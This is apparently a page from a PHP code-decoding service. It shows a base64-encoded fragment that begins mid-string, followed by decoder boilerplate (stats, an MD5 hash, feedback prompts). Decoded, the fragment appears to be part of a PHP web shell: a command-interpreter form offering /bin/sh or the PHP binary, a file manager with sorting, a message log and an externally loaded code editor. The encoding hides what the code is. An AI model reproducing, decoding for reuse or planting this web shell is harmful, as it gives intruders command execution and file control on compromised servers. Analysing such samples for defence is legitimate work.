ZXI9Ijw/cGhwIGVjaG8gTklYPycvYmluL3NoJzonJzs/PiIvPjwvbGFiZWw+PGxhYmVsIGNsYXNzPSJvcHRpb24iPkludGVycHJldGVyOiA8aW5wdXQgdHlwZT0idGV4dCJuYW1lPSJpInZhbHVlPSI8P3BocCBpZihQSFBfVkVSU0lPTj49JzUuNCcpZWNobyBlc2NIVE1MKFBIUF9CSU5BUlkpOz8+Ii8+PC9sYWJlbD48bGFiZWwgY2xhc3M9Im9wdGlvbiI+PGlucHV0IHR5cGU9ImNoZWNrYm94Im5hbWU9Im4iLz4gLW4gJm5ic3A7Tm8gcGhwLmluaSBmaWxlIHdpbGwgYmUgdXNlZDwvbGFiZWw+PGxhYmVsIGNsYXNzPSJvcHRpb24iPjxpbnB1dCB0eXBlPSJjaGVja2JveCJuYW1lPSJjIi8+IC1DICZuYnNwO0RvIG5vdCBjaGRpciB0byB0aGUgc2NyaXB0J3MgZGlyZWN0b3J5PC9sYWJlbD48L2ZpZWxkc2V0PjwvZm9ybT48L2Rpdj48ZGl2IGNsYXNzPSJtb2RhbCJvbm1vdXNlZG93bj0idWlBY3R2TW9kYWwoZXZlbnQpImlkPSJkaXZMb2cidGFiaW5kZXg9Ii0xIj48ZGl2IGNsYXNzPSJkaXZDbnRybHMiPjxzcGFuIGNsYXNzPSJzcG5UaXRsZSI+TWVzc2FnZSBMb2c8L3NwYW4+PGEgaHJlZj0iIyJjbGFzcz0iY250cmwidGl0bGU9IkNsb3NlIm9uY2xpY2s9InJldHVybiB1aUNsc01vZGFsKCdkaXZMb2cnKSI+JiN4MDBENzs8L2E+PGEgaHJlZj0iIyJjbGFzcz0iY250cmwidGl0bGU9IlJlc2l6ZSJvbmNsaWNrPSJyZXR1cm4gdWlSc3ooJ2RpdkxvZycpIj4mI3gyOTIyOzwvYT48YSBocmVmPSIjImNsYXNzPSJjbnRybCJ0aXRsZT0iQ2xlYXIib25jbGljaz0icmV0dXJuIGNsbkxvZygpIj4mIzg4MDI7PC9hPjwvZGl2PjxkaXYgaWQ9ImRpdkxvZ0NudG4iPjwvZGl2PjwvZGl2PjxkaXYgaWQ9ImRpdk1zZ3MiY2xhc3M9ImRpdkNudHJscyI+PC9kaXY+PC9ib2R5Pgo8Pz1wYXJhbXNIYW5kbGVySlMoKT8+CjxzY3JpcHQ+Cjw/cGhwIGlmKCRHTE9CQUxTWydBQ0VDT05GJ11bJ1VSTCddKXsgPz4KZnVuY3Rpb24gYWNlRWRpdG9yUHJvY2VzcyhlbGVtZW50KXsKCglpZih0eXBlb2YgYWNlID09ICd1bmRlZmluZWQnKXsKCQl2YXIgYWNlU2NyaXB0ID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7CgkJYWNlU2NyaXB0LnNyYyA9ICc8Pz0kR0xPQkFMU1snQUNFQ09ORiddWydVUkwnXT8+JzsKCQlkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGFjZVNjcmlwdCk7CgkJCgkJYWNlU2NyaXB0Lm9ubG9hZCA9IGZ1bmN0aW9uKCl7CgkJCWFjZUVkaXRvciA9IFtdOwoJCQlhY2VFZGl0b3JQcm9jZXNzKGVsZW1lbnQpOwoJCX0KCQkKCQlyZXR1cm4gZmFsc2U7Cgl9CgkKCXZhciBhY2VFZGl0b3JNb2RlcyA9IFsncGhwJywgJ3BlcmwnLCAncHl0aG9uJywgJ2dvbGFuZycsICdydWJ5JywgJ2phdmFzY3JpcHQnLCAnc2gnLCAncG93ZXJzaGVsbCcgLCAnc3FsJywgJ2FwYWNoZV9jb25mJywgJ25naW54JywgJ2x1YScsICdtYXJrZG93biddOwoJdmFyIGFjZUVkaXRvclRoZW1lcyA9IFsnZWNsaXBzZScsICdkcmVhbXdlYXZlcicsICdjcmltc29uX2VkaXRvcicsICdzcWxzZXJ2ZXInLCAnc29sYXJpemVkX2xpZ2h0JywgJ3hjb2RlJywgJ2thdHplbm1pbGNoJywgJ2Rhd24nLCAnaXBsYXN0aWMnLCAnbW9ub2thaScsICdhbWJpYW5jZScsICdjb2JhbHQnLCAnbm9yZF9kYXJrJ107Cgl2YXIgcGFyZW50Rm9ybSA9IGdldFBhcmVudEZvcm1PZihlbGVtZW50KTsKCXZhciBlSWQgPSBwYXJlbnRGb3JtLm5hbWUgPSAocGFyZW50Rm9ybS5uYW1lID8gcGFyZW50Rm9ybS5uYW1lIDogTWF0aC5yYW5kb20oKS50b1N0cmluZygzNikuc3Vic3RyaW5nKDIsIDE1KSk7Cgl2YXIgZmxleFJvdyA9IHBhcmVudEZvcm0uY2hpbGRyZW5bMl07Cgl2YXIgdGV4dEFyZWEgPSBwYXJlbnRGb3JtLmVsZW1lbnRzWzBdOwoJdmFyIHNhdmVCdXR0b24gPSBwYXJlbnRGb3JtLmVsZW1lbnRzWzRdOwoJdmFyIHJlbG9hZEJ1dHRvbiA9IHBhcmVudEZvcm0uY2hpbGRyZW5bMF0uY2hpbGRyZW5bM107Cgl2YXIgZWRpdG9yQnV0dG9uID0gcGFyZW50Rm9ybS5jaGlsZHJlblswXS5jaGlsZHJlbls0XTsKCXZhciBjbG9zZUJ1dHRvbiA9IHBhcmVudEZvcm0uY2hpbGRyZW5bMF0uY2hpbGRyZW5bMV07Cgl2YXIgYWNlRWRpdG9yRGl2ID0gcGFyZW50Rm9ybS5jaGlsZHJlbltlSWRdOwoJdmFyIGFjZUVkaXRvck1vZGVTZWxlY3QgPSBmbGV4Um93LmNoaWxkcmVuWzFdOwoJdmFyIGFjZUVkaXRvclRoZW1lU2VsZWN0ID0gZmxleFJvdy5jaGlsZHJlblsyXTsKCglpZihhY2VFZGl0b3JEaXYpewoJCXBhcmVudEZvcm0ucmVtb3ZlQ2hpbGQoYWNlRWRpdG9yRGl2KTsKCQlmbGV4Um93LnJlbW92ZUNoaWxkKGFjZUVkaXRvck1vZGVTZWxlY3QpOwoJCWZsZXhSb3cucmVtb3ZlQ2hpbGQoYWNlRWRpdG9yVGhlbWVTZWxlY3QpOwoJCXRleHRBcmVhLnZhbHVlID0gYWNlRWRpdG9yW2VJZF0uZ2V0VmFsdWUoKTsKCQl0ZXh0QXJlYS5zdHlsZS5kaXNwbGF5ID0gJ2lubGluZSc7CgkJc2F2ZUJ1dHRvbi5zZXRBdHRyaWJ1dGUoJ29uY2xpY2snLCAnJyk7CgkJcmVsb2FkQnV0dG9uLnNldEF0dHJpYnV0ZSgnb25jb250ZXh0bWVudScsICcnKTsKCQlyZWxvYWRCdXR0b24uc2V0QXR0cmlidXRlKCd0aXRsZScsICcnKTsKCQljbG9zZUJ1dHRvbi5zZXRBdHRyaWJ1dGUoJ29uY2xpY2snLCAncmV0dXJuIHVpRHN0ck1vZGFsKHRoaXMucGFyZW50Tm9kZS5wYXJlbnROb2RlKScpOwoJCWNsZWFySW50ZXJ2YWwoYWNlRWRpdG9yW2VJZF1bJ3NldEludGVydmFsJ10pOwoJCWRlbGV0ZSBhY2VFZGl0b3JbZUlkXTsKCQkKCQlyZXR1cm4gZmFsc2U7Cgl9CgkKCXZhciB3cmFwTGluZXMgPSAnYWNlRWRpdG9yWyInICsgZUlkICsgJyJdLnNldE9wdGlvbigid3JhcCIsIChhY2VFZGl0b3JbIicgKyBlSWQgKyAnIl0uZ2V0T3B0aW9uKCJ3cmFwIikgPT0gImZyZWUiID8gIm9mZiIgOiAiZnJlZSIpKTsgcmV0dXJuIGZhbHNlOyc7Cgl2YXIgY2xpY2tOc2Nyb2xsID0gJ2FjZUVkaXRvclsiJyArIGVJZCArICciXVsicmVsb2FkQnV0dG9uIl0uY2xpY2soKTsgc2V0VGltZW91dCgiYWNlRWRpdG9yW2AnICsgZUlkICsgJ2BdLnNjcm9sbFRvUm93KE51bWJlci5NQVhfU0FGRV9JTlRFR0VSKSIsIDIwMCk7JzsKCQoJdmFyIGhvdEtleXMgPSBgCgkJaWYoZXZlbnQuY3RybEtleSl7CgkJCWlmKGV2ZW50LmtleUNvZGUgPT09IDgzKXsKCQkJCWdldFBhcmVudEZvcm1PZih0aGlzKS5lbGVtZW50c1s2XS5jbGljaygpOyByZXR1cm4gZmFsc2U7CgkJCX0KCQkJaWYoZXZlbnQua2V5Q29kZSA9PT0gNjkpewoJCQkJYCArIHdyYXBMaW5lcyArIGAKCQkJCXJldHVybiBmYWxzZTsKCQkJfQoJCX0KCWA7Cgl2YXIgaG90S2V5c0hpbnQgPSBgQ3RybCArIFtLRVldOlxuXG5TIC0gU2F2ZVxuRSAtIExpbmUgd3JhcFxuTCAtIEdvIHRvIGxpbmVcblAgLSBHbyB0byBicmFja2V0XG5IIC0gRmluZCBhbmQgUmVwbGFjZVxuXG5TZWUgdGhlIEFjZUpTIHdpa2kgZm9yIG1vcmUuYDsKCgl2YXIgYWNlRWRpdG9yRGl2ID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnZGl2Jyk7CglhY2VFZGl0b3JEaXYuaWQgPSBlSWQ7CglhY2VFZGl0b3JEaXYuY29udGVudEVkaXRhYmxlID0gJ3RydWUnOwoJYWNlRWRpdG9yRGl2LnN0eWxlID0gJ2JvcmRlcjogMXB4IHNvbGlkICM3ZjdmN2Y7IGhlaWdodDogMTAwJTsgbWFyZ2luOiAycHg7JzsKCWFjZUVkaXRvckRpdi50ZXh0Q29udGVudCA9IHRleHRBcmVhLnZhbHVlOwoJYWNlRWRpdG9yRGl2LnNldEF0dHJpYnV0ZSgnb25rZXlkb3duJywgaG90S2V5cyk7CglwYXJlbnRGb3JtLmluc2VydEJlZm9yZShhY2VFZGl0b3JEaXYsIHBhcmVudEZvcm0uY2hpbGRyZW5bM10pOwoJcGFyZW50Rm9ybS5zZXRBdHRyaWJ1dGUoJ29ubW91c2Vkb3duJywgJ2lmKGV2ZW50LnNyY0VsZW1lbnQuY2xhc3NOYW1lICE9ICJhY2VfY29udGVudCIpIHVpQWN0dk1vZGFsKGV2ZW50KScpOwoJc2F2ZUJ1dHRvbi5zZXRBdHRyaWJ1dGUoJ29uY2xpY2snLCAnZ2V0UGFyZW50Rm9ybU9mKHRoaXMpLmVsZW1lbnRzWzBdLnZhbHVlID0gYWNlRWRpdG9yW1wnJyArIGVJZCArICdcJ10uZ2V0VmFsdWUoKScpOwoJcmVsb2FkQnV0dG9uLnNldEF0dHJpYnV0ZSgnb25jb250ZXh0bWVudScsIGAKCQl2YXIgZSA9IGFjZUVkaXRvclsnYCArIGVJZCArIGAnXTsKCQl2YXIgcCA9IHByb21wdCgoZVsncmVsb2FkSW50ZXJ2YWwnXSA/ICdDdXJyZW50IHZhbHVlIGlzICcgKyBlWydyZWxvYWRJbnRlcnZhbCddICsgJy4gJyA6ICcnKSArICdTZXQgcmVsb2FkIGludGVydmFsIGluIHNlY29uZHM6IFxcblxcbicpOwoJCXZhciBzID0gTWF0aC5hYnMoTnVtYmVyKHApKTsKCgkJY2xlYXJJbnRlcnZhbChlWydzZXRJbnRlcnZhbCddKTsKCQkKCQlpZihzID4gMCl7CgkJCWVbJ3JlbG9hZEludGVydmFsJ10gPSBzOwoJCQllWydzZXRJbnRlcnZhbCddID0gc2V0SW50ZXJ2YWwoJ2AgKyBjbGlja05zY3JvbGwgKyBgJywgcyAqIDEwMDApOwoJCQl0aGlzLnRpdGxlID0gcyArICcgc2VjLic7CgkJCXRoaXMuc3R5bGUuY29sb3IgPSAncmVkJzsKCQl9CgkJZWxzZSBpZihlWydyZWxvYWRJbnRlcnZhbCddKXsKCQkJdGhpcy5zdHlsZS5jb2xvciA9IHRoaXMudGl0bGUgPSAnJzsKCQkJY2xlYXJJbnRlcnZhbChlWydzZXRJbnRlcnZhbCddKTsKCQkJZGVsZXRlIGVbJ3JlbG9hZEludGVydmFsJ107CgkJfQoJCWVsc2UgaWYocCA9PSBudWxsKXsKCQkJYCArIGNsaWNrTnNjcm9sbCArIGAKCQl9CgoJCXJldHVybiBmYWxzZTsKCWApOwoJZWRpdG9yQnV0dG9uLnRpdGxlID0gaG90S2V5c0hpbnQ7CgljbG9zZUJ1dHRvbi5zZXRBdHRyaWJ1dGUoJ29uY2xpY2snLCAnY2xlYXJJbnRlcnZhbChhY2VFZGl0b3JbXCcnICsgZUlkICsnXCddW1wnc2V0SW50ZXJ2YWxcJ10pOyBkZWxldGUgYWNlRWRpdG9yW1wnJyArIGVJZCArICdcJ107JyArIGNsb3NlQnV0dG9uLmdldEF0dHJpYnV0ZSgnb25jbGljaycpKTsKCgl0ZXh0QXJlYS5zdHlsZS5kaXNwbGF5ID0gJ25vbmUnOwoJaWYoIXRleHRBcmVhLnNldHRlclJlZGVmaW5lZCl7CgkgICAgT2JqZWN0LmRlZmluZVByb3BlcnR5KHRleHRBcmVhLCAndmFsdWUnLCB7CgkJCXNldCh2YWx1ZSl7CgkJCQl0aGlzLnNldHRlclJlZGVmaW5lZCA9IHRydWU7CgkJCQlpZihhY2VFZGl0b3JbZUlkXSkKCQkJCQlhY2VFZGl0b3JbZUlkXS5zZXRWYWx1ZSh2YWx1ZSwgLTEpOwoJCQkJcmV0dXJuIE9iamVjdC5nZXRPd25Qcm9wZXJ0eURlc2NyaXB0b3IoSFRNTFRleHRBcmVhRWxlbWVudC5wcm90b3R5cGUsICd2YWx1ZScpLnNldC5jYWxsKHRoaXMsIHZhbHVlKTsKCQkJfSwKCQkJZ2V0KCl7CgkJCQlyZXR1cm4gT2JqZWN0LmdldE93blByb3BlcnR5RGVzY3JpcHRvcihIVE1MVGV4dEFyZWFFbGVtZW50LnByb3RvdHlwZSwgJ3ZhbHVlJykuZ2V0LmNhbGwodGhpcyk7CgkJCX0KCSAgICB9KTsKCX0KCglhY2VFZGl0b3JbZUlkXSA9IGFjZS5lZGl0KGVJZCk7CglhY2VFZGl0b3JbZUlkXS5zZXRGb250U2l6ZSgnMTRweCcpOwoJYWNlRWRpdG9yW2VJZF0uc2V0VGhlbWUoJ2FjZS90aGVtZS88Pz0kR0xPQkFMU1snQUNFQ09ORiddWydUSEVNRSddPz4nKTsKCWFjZUVkaXRvcltlSWRdLnNlc3Npb24uc2V0TW9kZSgnYWNlL21vZGUvPD89JEdMT0JBTFNbJ0FDRUNPTkYnXVsnTU9ERSddPz4nKTsKCWFjZUVkaXRvcltlSWRdLnNldE9wdGlvbignc2hvd1ByaW50TWFyZ2luJywgZmFsc2UpOwoJYWNlRWRpdG9yW2VJZF0uc2V0T3B0aW9uKCd3cmFwJywgdHJ1ZSk7CglhY2VFZGl0b3JbZUlkXS5zZXNzaW9uLnNldFVzZVdvcmtlcihmYWxzZSk7CglhY2VFZGl0b3JbZUlkXS5zZXRCZWhhdmlvdXJzRW5hYmxlZCh0cnVlKTsKCWFjZUVkaXRvcltlSWRdLnJlbG9hZEJ1dHRvbiA9IHJlbG9hZEJ1dHRvbjsKCQoJbmV3IFJlc2l6ZU9ic2VydmVyKChmdW5jdGlvbigpe2lmKGFjZUVkaXRvcltlSWRdKSBhY2VFZGl0b3JbZUlkXS5yZXNpemUoKX0pKS5vYnNlcnZlKHBhcmVudEZvcm0pOwoKCWFjZUVkaXRvclRoZW1lU2VsZWN0ID0gYnVpbGRTZWxlY3RGb3IoYWNlRWRpdG9yVGhlbWVzLCAnPD89JEdMT0JBTFNbJ0FDRUNPTkYnXVsnVEhFTUUnXT8+JywgJ2FjZUVkaXRvcltcJycgKyBlSWQgKyAnXCddLnNldFRoZW1lKFwnYWNlL3RoZW1lL1wnICsgdGhpcy52YWx1ZSk7Jyk7CglhY2VFZGl0b3JNb2RlU2VsZWN0ID0gYnVpbGRTZWxlY3RGb3IoYWNlRWRpdG9yTW9kZXMsICc8Pz0kR0xPQkFMU1snQUNFQ09ORiddWydNT0RFJ10/PicsICdhY2VFZGl0b3JbXCcnICsgZUlkICsgJ1wnXS5zZXNzaW9uLnNldE1vZGUoXCdhY2UvbW9kZS9cJyArIHRoaXMudmFsdWUpOycpOwoJYWNlRWRpdG9yTW9kZVNlbGVjdC5zZXRBdHRyaWJ1dGUoJ29uY29udGV4dG1lbnUnLCB3cmFwTGluZXMpOwoJYWNlRWRpdG9yTW9kZVNlbGVjdC50aXRsZSA9ICdSaWdodCBjbGljayB0byBjaGFuZ2UgbGluZSB3cmFwJzsKCQoJZmxleFJvdy5pbnNlcnRCZWZvcmUoYWNlRWRpdG9yTW9kZVNlbGVjdCwgZmxleFJvdy5jaGlsZHJlblsxXSk7CiAgICBmbGV4Um93Lmluc2VydEJlZm9yZShhY2VFZGl0b3JUaGVtZVNlbGVjdCwgZmxleFJvdy5jaGlsZHJlblsxXSk7Cn0KCmZ1bmN0aW9uIGJ1aWxkU2VsZWN0Rm9yKGFycmF5LCBzZWxlY3RlZCA9ICcnLCBvbkNoYW5nZSA9ICcnKXsKCXZhciBzZWxlY3QgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzZWxlY3QnKTsKCXNlbGVjdC5zZXRBdHRyaWJ1dGUoJ29uY2hhbmdlJywgb25DaGFuZ2UpOwoJYXJyYXkuZm9yRWFjaChmdW5jdGlvbihpdGVtKXsKCQl2YXIgb3B0aW9uID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnb3B0aW9uJyk7CgkJb3B0aW9uLnZhbHVlID0gb3B0aW9uLnRleHRDb250ZW50ID0gaXRlbTsKCQlpZihpdGVtID09IHNlbGVjdGVkKSBvcHRpb24uc2VsZWN0ZWQgPSB0cnVlOwoJCXNlbGVjdC5hcHBlbmRDaGlsZChvcHRpb24pOwoJfSk7CgkKCXJldHVybiBzZWxlY3Q7Cn0KCmZ1bmN0aW9uIGluc2VydENvZGVFZGl0b3IoKXsKCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0bXBsRnJtRmlsZScpLmlubmVySFRNTCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0bXBsRnJtRmlsZScpLmlubmVySFRNTC5yZXBsYWNlKC88XC9hPjxcL2Rpdj4vZywnPC9hPiA8YSBocmVmPSIjIiBjbGFzcz0iY250cmwiIHRpdGxlPSJDb2RlIEVkaXRvciYjeDAwMGE7JiN4MDAwYTtBZnRlciBjbGlja2luZywgdGhlIEVYVEVSTkFMIEpTIGZpbGUgd2lsbCBiZSBsb2FkZWQ6JiN4MDAwYTsmI3gwMDBhOzw/PSRHTE9CQUxTWydBQ0VDT05GJ11bJ1VSTCddPz4iIG9uY2xpY2s9ImFjZUVkaXRvclByb2Nlc3ModGhpcyk7cmV0dXJuIGZhbHNlIj48c21hbGw+RTwvc21hbGw+PC9hPjw/PSgkR0xPQkFMU1snQUNFQ09ORiddWydERUZBVUxUJ10gPyAnPGltZy9zcmMvb25lcnJvcj0iYWNlRWRpdG9yUHJvY2Vzcyh0aGlzKSIvc3R5bGU9ImRpc3BsYXk6bm9uZTsiLz4nIDogJycpPz48L2Rpdj4nKTsKfQoKaW5zZXJ0Q29kZUVkaXRvcigpOwo8P3BocCB9ID8+CgpmdW5jdGlvbiBhZGRTb3J0VG9GTSgpewoJdmFyIGZtVGJsQ29scyA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0YmxGaWxlcycpLmNoaWxkcmVuWzBdLmNoaWxkcmVuWzBdLmNoaWxkcmVuOwoJCglmb3IoaSA9IDA7IGkgPD0gZm1UYmxDb2xzLmxlbmd0aDsgaSsrKXsKCQlpZihmbVRibENvbHNbaV0gJiYgZm1UYmxDb2xzW2ldLnRleHRDb250ZW50KXsKCQkJdmFyIG5hbWUgPSBmbVRibENvbHNbaV0udGV4dENvbnRlbnQudG9Mb3dlckNhc2UoKTsKCQkJZm1UYmxDb2xzW2ldLnN0eWxlID0gZm1UYmxDb2xzW2ldLnN0eWxlICsgJzsgY3Vyc29yOiBwb2ludGVyOyc7CgkJCWZtVGJsQ29sc1tpXS50aXRsZSA9ICdTb3J0IGZpbGVzIGJ5ICcgKyBuYW1lOwoJCQlmbVRibENvbHNbaV0uc2V0QXR0cmlidXRlKCdvbmNsaWNrJywgJ3NvcnRGaWxlc0J5KCInICsgbmFtZSArICciKTsnKTsKCQl9Cgl9Cn0KCmZ1bmN0aW9uIHNvcnRGaWxlc0J5KG5hbWUpewoJdmFyIHNvcnRzID0geyduYW0nOiAnMScsJ2V4dCc6ICcyJywnc2l6JzogJzExJywnbW9kJzogJzEyJywncGVyJzogJzE0Jywnb3duJzogJzE1J307Cgl2YXIgc29ydCA9IHNvcnRzW25hbWUuc3Vic3RyKDAsIDMpXTsKCWlmKHNvcnQpewoJCWZtU29ydCA9IFsoc29ydCA9PSBmbVNvcnRbMV0gJiYgZm1Tb3J0WzBdICE9IC0xID8gLTEgOiAxKSwgc29ydF07CgkJZ29Ubyhkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZnJtRk0nKS5wLnZhbHVlKTsKCX0KfQoKYWRkU29ydFRvRk0oKTsKCndpbmRvdy5sb2NhdGlvbiA9ICcjPD89JEdMT0JBTFNbJ0RFRkFVTFRfVEFCJ10/Pic7IDw/PSgkR0xPQkFMU1snREVGQVVMVF9UQUInXSA9PSAndGFiRk0nID8gJ3dpbmRvdy5hZGRFdmVudExpc3RlbmVyKCJsb2FkIixmdW5jdGlvbigpe2dvVG8oIn4iKTt9KScgOiAnJyk/Pgo8L3NjcmlwdD4KPC9odG1sPgo8P3BocCAkb3V0ID0gb2JfZ2V0X2NvbnRlbnRzKCk7IG9iX2VuZF9jbGVhbigpOyBvYl9zdGFydCgnb2JfZ3poYW5kbGVyJyk7IGV4aXQobWFrZU91dCgkb3V0KSk7CgovLyAxMjkwMjVmYi02ZWE3LTQwYmYtOWUyNC01MzA2MzkwZTYyYTU

Function Calls

None

Variables

None

Stats

MD5	628f6a5d3e750de38b8245ecd7c4abfc
Eval Count	0
Decode Time	4585 ms

Find this useful? Enter your email to receive occasional updates for securing PHP code.

PHP Decode

Decoded Output download

Did this file decode correctly?

How would you describe this file?

Original Code

Function Calls

Variables

Stats